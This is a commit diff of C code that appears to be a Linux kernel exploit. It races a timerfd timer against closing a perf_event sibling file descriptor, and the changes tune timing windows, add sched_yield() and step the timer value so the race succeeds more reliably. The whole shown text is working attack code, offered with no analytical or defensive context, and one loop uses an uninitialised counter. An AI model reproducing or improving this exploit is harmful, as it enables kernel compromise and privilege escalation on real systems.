|
29 | 29 | #include <signal.h>
|
30 | 30 |
|
31 | 31 | // #define TIMER 71000
|
32 |
| -#define MIN 58000 |
33 |
| -#define MAX 79000 |
| 32 | +#define MIN 58200 |
| 33 | +#define MAX 62400 |
34 | 34 | #define SIBLINGS_MAX 1024 // about 0x4000 ~
|
35 | 35 | #define CPU_A 1 // main cpu
|
36 | 36 | #define CPU_B 0
|
@@ -286,7 +286,7 @@ void print_proc_self_maps_raw() {
|
286 | 286 | }
|
287 | 287 |
|
288 | 288 | int counter_init = 0;
|
289 |
| -void race(int group_leader) { // caller must have ownership of the group |
| 289 | +void race(int group_leader, int timer) { // caller must have ownership of the group |
290 | 290 | int pipefd[2];
|
291 | 291 | uint64_t buf[0x2000] = {0, };
|
292 | 292 | char buffer[0x100] = {0x41, };
|
@@ -364,10 +364,12 @@ void race(int group_leader) { // caller must have ownership of the group
|
364 | 364 | kill(child_pid, SIGCONT); // continue
|
365 | 365 |
|
366 | 366 | read(pipefd[0], buffer, 1); // sync point A
|
367 |
| - // usleep(5000); |
368 |
| - int r = MIN + rand() % (MAX - MIN + 1); |
| 367 | + // busy_wait(1000); |
| 368 | + // int r = MIN + rand() % (MAX - MIN + 1); |
| 369 | + int r = timer; |
369 | 370 | struct itimerspec new = {.it_value.tv_nsec = r}; // 95674
|
370 | 371 | timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &new, NULL);
|
| 372 | + |
371 | 373 | if (close(siblings[100]) < 0) { // trigger
|
372 | 374 | perror("close failed");
|
373 | 375 | exit(EXIT_FAILURE);
|
@@ -415,6 +417,8 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
|
415 | 417 | pe.exclude_hv = 1;
|
416 | 418 | pe.inherit = 1; // parent.attr.inherit == child.attr.inherit
|
417 | 419 | pe.pinned = 0; // child can not be pinned - group leader only
|
| 420 | + |
| 421 | + sched_yield(); |
418 | 422 | pid_t child_pid = fork();
|
419 | 423 | if(child_pid == 0) {
|
420 | 424 | // child & parent must be on the same cpu (validation event->cpu)
|
@@ -484,7 +488,7 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
|
484 | 488 |
|
485 | 489 | for (int _; _<TRY_PER_ITER; _++) {
|
486 | 490 | while (!atomic_load(&race_go));
|
487 |
| - race(group_leader); |
| 491 | + race(group_leader, MIN + _*50); |
488 | 492 |
|
489 | 493 | }
|
490 | 494 | }
|
|
0 commit comments